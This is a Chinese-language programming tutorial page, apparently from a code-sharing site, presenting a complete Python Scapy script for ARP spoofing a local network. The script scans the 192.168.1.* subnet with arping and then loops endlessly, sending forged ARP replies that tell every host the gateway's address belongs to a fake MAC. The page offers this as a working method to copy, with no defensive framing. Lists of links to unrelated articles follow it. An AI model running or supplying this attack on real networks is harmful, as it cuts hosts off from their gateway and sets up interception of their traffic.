python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
sqlalchemy对象转dict的示例
Apr 22 Python
python编程开发之日期操作实例分析
Nov 13 Python
python脚本爬取字体文件的实现方法
Apr 29 Python
Python3.4解释器用法简单示例
Mar 22 Python
计算机二级python学习教程(3) python语言基本数据类型
May 16 Python
使用python将excel数据导入数据库过程详解
Aug 27 Python
python打印异常信息的两种实现方式
Dec 24 Python
Python异步编程之协程任务的调度操作实例分析
Feb 01 Python
python+gdal+遥感图像拼接(mosaic)的实例
Mar 10 Python
使用OpenCV获取图像某点的颜色值,并设置某点的颜色
Jun 02 Python
Python二元算术运算常用方法解析
Sep 15 Python
python 图像增强算法实现详解
Jan 24 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
php 文件状态缓存带来的问题
2008/12/14 PHP
php实现无限级分类实现代码(递归方法)
2011/01/01 PHP
laravel 判断查询数据库返回值的例子
2019/10/11 PHP
laravel框架中控制器的创建和使用方法分析
2019/11/23 PHP
PHP设计模式之命令模式示例详解
2020/12/20 PHP
js监听输入框值的即时变化onpropertychange、oninput
2011/07/13 Javascript
jQuery添加/改变/移除CSS类及判断是否已经存在CSS
2014/08/20 Javascript
JS限制文本框只能输入数字和字母方法
2015/02/28 Javascript
jQuery使用after()方法在元素后面添加多项内容的方法
2015/03/26 Javascript
深入理解JavaScript中的箭头函数
2015/07/28 Javascript
JavaScript文档碎片操作实例分析
2015/12/12 Javascript
nodejs使用express获取get和post传值及session验证的方法
2017/11/09 NodeJs
使用命令行工具npm新创建一个vue项目的方法
2017/12/27 Javascript
JavaScript如何对图片进行黑白化
2018/04/10 Javascript
vue动态添加路由addRoutes之不能将动态路由存入缓存的解决
2019/02/19 Javascript
js实现随机点名器精简版
2020/06/29 Javascript
vue集成一个支持图片缩放拖拽的富文本编辑器
2021/01/29 Vue.js
Python代码的打包与发布详解
2014/07/30 Python
Python实现简单的可逆加密程序实例
2015/03/05 Python
简单介绍Python的Django框架的dj-scaffold项目
2015/05/30 Python
python3音乐播放器简单实现代码
2020/04/20 Python
对python制作自己的数据集实例讲解
2018/12/12 Python
浅谈PyQt5 的帮助文档查找方法,可以查看每个类的方法
2019/06/25 Python
python TK库简单应用(实时显示子进程输出)
2019/10/29 Python
python 实现在shell窗口中编写print不向屏幕输出
2020/02/19 Python
20行Python代码实现视频字符化功能
2020/04/13 Python
python属于跨平台语言码
2020/06/09 Python
基于python模拟TCP3次握手连接及发送数据
2020/11/06 Python
Java基础面试题
2014/07/19 面试题
一套英文Java笔试题面试题
2016/04/21 面试题
药学专业大专生的自我评价
2013/12/12 职场文书
乡领导班子四风问题对照检查材料
2014/09/25 职场文书
防暑降温通知书
2015/04/27 职场文书
小学美术教学反思
2016/02/17 职场文书
Python中可变和不可变对象的深入讲解
2021/08/02 Python
Java实现HTML转为Word的示例代码
2022/06/28 Java/Android